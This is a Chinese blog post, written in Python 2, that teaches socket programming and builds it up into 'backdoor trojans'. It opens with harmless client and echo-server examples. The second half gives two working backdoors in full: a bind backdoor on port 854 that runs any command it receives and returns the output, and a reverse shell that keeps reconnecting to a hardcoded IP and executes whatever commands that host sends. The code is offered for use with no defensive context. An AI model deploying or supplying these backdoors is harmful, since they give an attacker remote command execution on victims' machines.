python socket编程制作后门木马(原创)
懒得解释怎么写出来的,直接上代码
Client: 简单连接服务器
#!/usr/bin/python
#coding:utf-8
import socket
import sys
socket.setdefaulttimeout(5)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "www.baidu.com"
port = 80
remote_ip = socket.gethostbyname( host )
message = "GET / HTTP/1.1\r\n\r\n"
s.connect((remote_ip, port))
s.sendall(message)
reply = s.recv(4096)
print reply
Server: 单线程,长久监听服务,长连接,会话先进先出排队原则
#!/usr/bin/python
#coding:utf-8
import socket
import sys
HOST = ''
PORT = 444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)
while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break
conn.close()
s.close()
Server: 多线程,长久监听服务,长连接,同步处理会话
#!/usr/bin/python
#coding:utf-8
import socket
import sys
from thread import *
HOST = ''
PORT = 555
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)
def clientthread(conn):
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break
conn.close()
while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,))
s.close()
BackDoor: 结合命令执行制作后门木马(正向)
#!/usr/bin/python
#coding:utf-8
import socket
import sys
import commands
from thread import *
HOST = ''
PORT = 854
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)
def clientthread(conn):
conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
conn.send("Demon_Backdoor# ")
data = conn.recv(1024)
if data:
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd)
if code == 0 :
conn.sendall(res+"\n")
else:
print "[-]Error: code",code
data = ""
else:
break
conn.close()
while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,))
s.close()
BackDoor: 反弹shell(反向)
#!/usr/bin/python
#coding:utf-8
import socket
import sys
import commands
from time import sleep
from thread import *
HOST = "192.168.10.24"
PORT = 444
def clientthread(s):
global isConnect
s.send("Welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
s.send("Demon_Backdoor# ")
data = s.recv(1024)
if data :
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd)
if code == 0 :
s.sendall(res+"\n")
else:
print "[-]Error: code",code
data = ""
else:
break
while 1:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] connecting" , HOST + ":", PORT
clientthread(s)
#start_new_thread(clientthread, (s,))
s.close()
except:
sleep(0.5)
程序员最高境界:静若瘫痪,动若癫痫